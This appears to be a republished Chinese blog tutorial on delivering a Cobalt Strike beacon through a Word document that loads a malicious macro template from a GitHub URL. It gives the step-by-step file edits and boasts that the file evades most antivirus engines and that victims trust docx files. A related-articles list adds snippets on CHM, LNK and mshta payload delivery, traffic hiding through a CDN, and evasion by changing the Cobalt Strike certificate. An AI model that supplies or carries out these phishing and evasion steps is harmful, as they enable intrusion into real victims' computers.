Office-DOC加载宏-上线CS

原理

将直接加载远程带有宏的恶意模版使用。

  • 缺点
    目标主机的网速决定了加载远程模版的速度。有可能文件打开的会特别慢(例如将远程模版放在github),受害者可能在文件打开一半的时候强制关闭word。
  • 优点
    因为是远程加载,所以免杀效果十分不错。基本不会被杀毒软件拦截。在这里插入图片描述

实现

第一步:制作一个恶意的模版并确保能够上线

这里以cs的宏木马为例。
在这里插入图片描述
获取到恶意的VB代码后打开word,在工具栏的空白区域右键,点击自定义功能区
在这里插入图片描述
勾选开发工具选项。
在这里插入图片描述
此时就会出现开发工具这一栏
在这里插入图片描述
此时点击Visual basic,将恶意代码复制到project的指定地点如下图所示
在这里插入图片描述

然后关闭代码框,将这个word文件另存为一个dotm模版文件
在这里插入图片描述
这时候可以先测试一下模版能否上线,操作为在模版文件上右键,双击是无法打开模版文件的,在模版文件上双击默认是以此模版创建新文件,切记。
在这里插入图片描述
点击启用内容即可上线。
在这里插入图片描述
在这里插入图片描述
测试完成。

第二步:制作远程加载恶意宏模版的docx文件

1.将恶意文件上传到服务器

首先将刚才已经制作好的含有恶意代码的模版文件上传到服务器上,这里采用github来做这个实验,点击下图中上传的恶意文件。
在这里插入图片描述
会进入下图这个页面
在这里插入图片描述
复制这个页面的url
在这里插入图片描述
并在url后面加上?raw=true,最终结果如下,把这行保存下来等下会用到。
https://github.com/shanfenglan/test/blob/master/Doc1.dotm?raw=true

2.加载服务器上的恶意文件

打开word找一个任意的模版双击使用,然后什么都不用改直接保存在任意路径下。
在这里插入图片描述
在这里插入图片描述
将文件改名,改为zip结尾。
在这里插入图片描述
将其解压缩
在这里插入图片描述
进入word文件夹中的_rels,找到settings.xml.rels文件
在这里插入图片描述
编辑这个文件,将其的target属性的值改为我们上面的那个url,也就是
https://github.com/shanfenglan/test/blob/master/Doc1.dotm?raw=true,然后保存退出。
在这里插入图片描述

接下来将刚才解压生成的文件压缩回去,并且改名为后缀名为docx的文件。
在这里插入图片描述
在这里插入图片描述

结果

直接双击1.docx文件
在这里插入图片描述
打开后会是这个样子我们不用管他,点击确定就好,然后点击启用内容。
在这里插入图片描述
发现木马上线
在这里插入图片描述
然后把这个文件扔到vitrual total上查杀病毒,发现只有两家公司的杀毒软件认为其是病毒
在这里插入图片描述
至此实验结束。

总结

众所周知,docx文件无法执行宏代码,所以发送docx文件的时候对方容易放松警惕,从而提高进攻的成功率。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358231.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电子书-CHM-上线CS

电子书-CHM-加载JS&PS-上线CS 1.对CS进行设置 服务端配置CS-客户端打开-攻击-钓鱼攻击-脚本web传递-配置选择监听器-设置端口-选择类型为power shell-点击开始-复制生成的利用代码 2.对当前.CHM电子书进行解压 进入文件后选择任意文件夹进入 3.这里演示:进入…

发布单机端DELPHI程序访问MySQL必备文件

如图: 将你的DELPHI程序和midas.dlllibmysql.dllDbxmys.dll 放在同一目录下即可.转载于:https://www.cnblogs.com/smartlittleant/p/4838327.html

java java se_Java SE 7、8、9 –推动Java前进

java java se今天(注:2011年10月4日)是主题演讲日。 JavaOne Keynote将于今早从上午8:30到10:30进行,而我的新闻通行证又一次让我很早就参加了。 因此,我有时间在所有关键球员准备就绪并可能感到紧张的同时为其拍摄一些…

利用快捷方式-LNK-上线CS

步骤: 1、生成:Attacks -> Packages -> Html Application 2、上传:Attacks——>Web Drive by——>Host file 3、执行:C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext 4、伪装: -创建快捷方式 -生成HTA并…

基本算法研究1-冒泡排序算法测试

基本算法研究1-冒泡排序算法测试 1、经典冒泡排序法基本原理 先看一个动态图,感觉比较形象: 冒泡排序(Bubble Sort)是一种简单的排序算法。默认是从小到大排序,即把最大的数据排在最后,相当于每次把最大数据…

CS-证书指纹修改

cobaltstrike.store是cobalt strike的证书文件,CS是java编写的,修改证书需要Java环境,搜索keytool,把证书复制到该目录进行操作,需要cmd以管理员权限才能生成成功。 证书默认密码:123456 查看证书指纹: key…

Java中的低延迟FIX引擎

总览 Chronicle FIX是我们的Low Latency FIX引擎和Java数据库。 是什么使它与众不同? 是为Java中的超低GC *设计的。 支持字符串和日期时间的方式可以最大程度地减少垃圾和开销。 可自定义为仅包含您期望的字段。 使用通常在二进制解析器和生成器中使用的优化&…

钓鱼文件名反转office远程模板

本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与作者及分享者无关 0x01 件…

Cobalt Strike特征修改

在红蓝对抗以及hvv等等情况下,我们都会用到 Cobalt Strike,那么它也是安全公司重点关注的对象,跟msf类似,但CS操作相对比MSF使用简单,同时也有一个强大的插件库。那么,这么红的工具,特征方面安全…

工厂模式与抽象工厂模式

1、工厂模式:定义了一组创建对象的接口,但是由子类决定要实例化的类是哪一个。工厂方法把类的实例化推迟到子类中。 现在考虑有PizzaStore有一些子类(加盟店),他们有可能对pizza的做法进行一些改良,即creat…

数据类型转换为false的有哪些?

看图,看选项你就明白啦

CS通过(CDN+证书)powershell上线详细版

0x00 简介 这个应该叫做域前置技术: 大致图示: 攻击流量通过CDN节点将流量转发到真实的C2服务器CDN节点ip通过识别请求的Host头进行流量转可以有效的躲避一些安全设备,也有这一定的反溯源功能,因为流量都去了CDN上 之前看了一些…

红蓝对抗之流量加密(Openssl加密传输、MSF流量加密、CS修改profile进行流量加密)

本篇文章转载于:https://blog.csdn.net/q20010619/article/details/122006433?utm_mediumdistribute.pc_relevant.none-task-blog-2defaultbaidujs_utm_term~default-1-122006433-blog-122810834.pc_relevant_default&spm1001.2101.3001.4242.2&utm_relevant_index4 文…

有var d = new Date(‘20xx-m-09‘),可以设置为m+1月份的操作是?

setMonth(n),这里是0-11分别对应1-12月 d.setDate(n); n表示一个月中的一天的一个数值(1 ~ 31): 0 为上一个月的最后一天 -1 为上一个月最后一天之前的一天 如果当月有 31 天: 32 为下个月的第一天 如果当月有 30 天: 32 为下一个月的第二…

深入理解Java引用类型

深入理解Java引用类型 在Java中类型可分为两大类:值类型与引用类型。值类型就是基本数据类型(如int ,double 等),而引用类型,是指除了基本的变量类型之外的所有类型(如通过 class 定义的类型)。所有的类型在…

值得一谈的鸿蒙2.0,程序员们拿起你们手中的编译器撸一下hello world

一款“面向未来”、面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统 。现已开源,名为OpenHarmony。 2019年8月9日,华为在HDC开发者大会上正式发布鸿蒙系统。 2020年9月10日,华为在HDC开发者大会上如约发布鸿蒙 2.0,并面向应用开发者发布Beta版本…

GitHack使用方法

ctf小白刚下载这个,不知道怎么用。现在会用啦就记录一下~ 下载地址:https://github.com/lijiejie/GitHack 下载下来后,通过cmd使用,如下图所示: 总结(命令): GitHack.py http://XXXX…

值得一谈的鸿蒙2.0,赶紧撸一下hello world

一款“面向未来”、面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统 。现已开源,名为OpenHarmony。2019年8月9日,华为在HDC开发者大会上正式发布鸿蒙系统。2020年9月10日,华为在HDC开发者大会上…

【Jenkins】未授权访问漏洞

一、漏洞介绍 1 ) Jenkins介绍 Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下: 用于持续性、自动的构建/测试软件项目监控或跑一些定时任务监控外部调用执行的工作 2 …

解决谷歌浏览器F12打不开调试页面的问题。

最近应用着急上线,需要批量测试,发现F12不好使啦。 解决办法: 1.找到谷歌浏览器:设置-扩展程序-开发者模式。关闭。 2.刷新浏览器或者重启浏览器后,打开需要调试的页面,鼠标点一下地址栏,按F1…